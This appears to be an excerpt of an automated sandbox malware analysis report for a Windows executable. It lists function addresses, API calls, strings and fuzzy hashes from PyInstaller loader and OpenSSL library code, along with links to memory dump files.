Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction ID: 425afb690ce728bd8f81615d2566d3da986daa388b8db50b85d974ed8a3e8c18
Opcode Fuzzy Hash: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction Fuzzy Hash: 6812B571E0C24386FB24DB15D1542797692FB8879CF944136D6AA87AE8FF3CE590CB04

Function 00007FF6FB1F02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F098F

Strings

f, xrefs: 00007FF6FB1F042A
f, xrefs: 00007FF6FB1F0575
p, xrefs: 00007FF6FB1F0432
f, xrefs: 00007FF6FB1F03C0
p, xrefs: 00007FF6FB1F03CD

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction ID: e6ac04964fe0ad5565ba27a5d55502366ca34db5c8ade0f5475fa164ea720470
Opcode Fuzzy Hash: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction Fuzzy Hash: EF129462E0C14386FB20DF54E0587B97292FB88758F984135D6AA876E4FF7DE980CB50

Function 00007FFDFB0041D8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFDFB0CA79E
WSAGetLastError.WS2_32 ref: 00007FFDFB0CA7A8

Strings

o, xrefs: 00007FFDFB0CA8CF
..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB0CA72E, 00007FFDFB0CA7BE, 00007FFDFB0CA7DA, 00007FFDFB0CA843, 00007FFDFB0CA85F, 00007FFDFB0CA8BB, 00007FFDFB0CA8D7

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: ..\s\crypto\bio\b_sock2.c$o
API String ID: 1729277954-1872632005
Opcode ID: 34993e59505dbed600dca64135d27a9ba0d4750b564e5c6ba914b5e12530ade6
Instruction ID: 9593598e7065e74465ac96409bd3d581b4efafaa192e207518edd4a42d9f6c35
Opcode Fuzzy Hash: 34993e59505dbed600dca64135d27a9ba0d4750b564e5c6ba914b5e12530ade6
Instruction Fuzzy Hash: B751B171B0A54386E7209F21E824ABE7360FB82788F544235E6A843AEDCF3DE505DB04

Function 00007FF6FB1E1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF6FB1E10FC
fseek, xrefs: 00007FF6FB1E10CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E1097
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E10C5
fread, xrefs: 00007FF6FB1E11D7
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E11D0
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6FB1E10F5

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 6856e602118002354ba9607ac17403177552b81d19a34f6e1506d3c37e34e51f
Instruction ID: 6f7834727ce1eb4a92e1931a37700c06773c20887ed0693cc16d563ca2b5f628
Opcode Fuzzy Hash: 6856e602118002354ba9607ac17403177552b81d19a34f6e1506d3c37e34e51f
Instruction Fuzzy Hash: 85417C22E0864382FB20DB22A9545BEA390BB48BC8F444431ED6E87BF5FE2CF4548740

Function 00007FFDFB001D48 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FFDFB2449DB
GetModuleHandleA.KERNEL32 ref: 00007FFDFB2449ED
GetModuleHandleW.KERNEL32 ref: 00007FFDFB2449FA
GetProcAddress.KERNEL32 ref: 00007FFDFB244A62

Strings

OPENSSL_Uplink(%p,%02X): , xrefs: 00007FFDFB244972
_ssl.pyd, xrefs: 00007FFDFB2449D4
_ssl_d.pyd, xrefs: 00007FFDFB2449E6
OPENSSL_Applink, xrefs: 00007FFDFB244A5B

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: OPENSSL_Applink$OPENSSL_Uplink(%p,%02X): $_ssl.pyd$_ssl_d.pyd
API String ID: 1883125708-1130596517
Opcode ID: c4aead17072fba216eea99f021f7cf45f47fd7f2a5a9cbf259b3f8ced4e703a5
Instruction ID: 9803b1b65dcdc16cbacc15aadda5e4e92a1fef10f17bc6cb924356a2ff050c19
Opcode Fuzzy Hash: c4aead17072fba216eea99f021f7cf45f47fd7f2a5a9cbf259b3f8ced4e703a5
Instruction Fuzzy Hash: 45514865F0AB5382F711AF24A82097423A0FB597A8B044735D97D926FEEF7CB2858700

Function 00007FFDFB0023D3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFDFB10DC28
GetProcAddress.KERNEL32 ref: 00007FFDFB10DC3D
GetProcessWindowStation.USER32 ref: 00007FFDFB10DC67
GetUserObjectInformationW.USER32 ref: 00007FFDFB10DC8F
GetLastError.KERNEL32 ref: 00007FFDFB10DC9D
GetUserObjectInformationW.USER32 ref: 00007FFDFB10DD08

Strings

_OPENSSL_isservice, xrefs: 00007FFDFB10DC33
Service-0x, xrefs: 00007FFDFB10DD29

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindow
String ID: Service-0x$_OPENSSL_isservice
API String ID: 1944374717-1672312481
Opcode ID: b0e2507b54a2fee0f286af568643ff84d15fb4472f624db1291a1182b8891a4e
Instruction ID: e7c1eed0caf162c8e92ff27ad89f55e5f9bcc8c92b741d87eed95b2499cdcb84
Opcode Fuzzy Hash: b0e2507b54a2fee0f286af568643ff84d15fb4472f624db1291a1182b8891a4e
Instruction Fuzzy Hash: 32413022B06B8796EB50AF24D960AA83390EF457B8B484735E9BD477F8DF3CE5448300

Function 00007FF6FB1E7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E800A
GetStartupInfoW.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E802B

Part of subcall function 00007FF6FB1F978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F97A0

Part of subcall function 00007FF6FB1F7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F7A93

GetCommandLineW.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E80CD
CreateProcessW.KERNEL32 ref: 00007FF6FB1E810F
WaitForSingleObject.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E8123
GetExitCodeProcess.KERNEL32 ref: 00007FF6FB1E8133

Strings

CreateProcessW, xrefs: 00007FF6FB1E8146
Failed to create child process!, xrefs: 00007FF6FB1E813F

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: e80bbda4e40d2818f9b88610f948c8e1d78189ea65abe69411fbe6e041833de5
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: 7541EF35E1878281DB20DB24E4552AEA291FB8D364F540735E6BD877E9EF7CD044CB40

Function 00007FF6FB1EDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6FB1EDD85

Part of subcall function 00007FF6FB1EECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6FB1EED1F
Part of subcall function 00007FF6FB1EECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6FB1EED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6FB1EDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6FB1EE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FB1EE1B8

Strings

csm, xrefs: 00007FF6FB1EDE80
csm, xrefs: 00007FF6FB1EDD9F
csm, xrefs: 00007FF6FB1EDE06

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction ID: 794c82b303f5e3d5b7cc6c91b9e4080ab274db0d023e0e03f98114b72fe0fbab
Opcode Fuzzy Hash: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction Fuzzy Hash: D8D14C32E087468AEB60DB6594403AE77A0FB59B9CF100135EA6D97FA5EF38F491C740

Function 00007FF6FB1FE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6FB1FE3BA,?,?,0000022908958CB8,00007FF6FB1FA063,?,?,?,00007FF6FB1F9F5A,?,?,?,00007FF6FB1F524E), ref: 00007FF6FB1FE19C
GetProcAddress.KERNEL32(?,?,?,00007FF6FB1FE3BA,?,?,0000022908958CB8,00007FF6FB1FA063,?,?,?,00007FF6FB1F9F5A,?,?,?,00007FF6FB1F524E), ref: 00007FF6FB1FE1A8

Strings

ext-ms-, xrefs: 00007FF6FB1FE0F9
api-ms-, xrefs: 00007FF6FB1FE0E6

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: f91773464e4e3cebfd30156d09eb2faf33cdbfea43315af6720a273f4a939758
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: D241CC22B19A0381EB26CB17A91467A2292BF8DBA8F084535DD2DD77E4FE3DE505C300

Function 00007FF6FB1E7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E7CE4
CreateDirectoryW.KERNEL32(?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E7D2C

Part of subcall function 00007FF6FB1E7E10: GetEnvironmentVariableW.KERNEL32(00007FF6FB1E365F), ref: 00007FF6FB1E7E47
Part of subcall function 00007FF6FB1E7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6FB1E7E69

Part of subcall function 00007FF6FB1F7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F7561

Part of subcall function 00007FF6FB1E26C0: MessageBoxW.USER32 ref: 00007FF6FB1E2736

Strings

_MEI%d, xrefs: 00007FF6FB1E7CF2
TMP, xrefs: 00007FF6FB1E7C7C, 00007FF6FB1E7D83
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6FB1E7D5E
TMP, xrefs: 00007FF6FB1E7CA2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6FB1E7CBC

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: 41794429c51d27e0df7a21877b4f19c7cdf826b4f928fd21ea6cb85727b80d41
Instruction ID: 3fab048a01c5c4017447e2a7546bf2296505fa9d9af4630f50572a24fffc5199
Opcode Fuzzy Hash: 41794429c51d27e0df7a21877b4f19c7cdf826b4f928fd21ea6cb85727b80d41
Instruction Fuzzy Hash: 1D411515E0A64380FB24EB61A9652B91291AF8DBC8F441131EE2DD7BF6FE2CF5088340

Function 00007FFDFB0060D2 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

SwitchToFiber.KERNEL32 ref: 00007FFDFB0C3844
CreateFiber.KERNEL32 ref: 00007FFDFB0C38BC
SwitchToFiber.KERNEL32 ref: 00007FFDFB0C3938
DeleteFiber.KERNEL32 ref: 00007FFDFB0C3A1B

Strings

*, xrefs: 00007FFDFB0C377F
..\s\crypto\async\async.c, xrefs: 00007FFDFB0C3761, 00007FFDFB0C3778, 00007FFDFB0C37C0, 00007FFDFB0C38E9, 00007FFDFB0C3950, 00007FFDFB0C39D0, 00007FFDFB0C3A06, 00007FFDFB0C3A27, 00007FFDFB0C3A54

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: Fiber$Switch$CreateDelete
String ID: *$..\s\crypto\async\async.c
API String ID: 2050058302-1471988776
Opcode ID: 419cdec9bab671cbcbab75131cab699312702b93d7ae234180eea406a646abb6
Instruction ID: b94ec74ff9613146cc5d47408d55d93a44db47293c288d780f6a5ee74f8cf27e
Opcode Fuzzy Hash: 419cdec9bab671cbcbab75131cab699312702b93d7ae234180eea406a646abb6
Instruction Fuzzy Hash: 1BA16972B1AA4386EB24DF11E460A7963A0EF46B84F448031DAAD477F9EF3CE555E700

Function 00007FFDFB002E46 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB10DA12

Strings

OPENSSL_ia32cap, xrefs: 00007FFDFB10D9E8
~, xrefs: 00007FFDFB10DAC4
~, xrefs: 00007FFDFB10DA2C
~, xrefs: 00007FFDFB10DADC
~, xrefs: 00007FFDFB10DA47

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
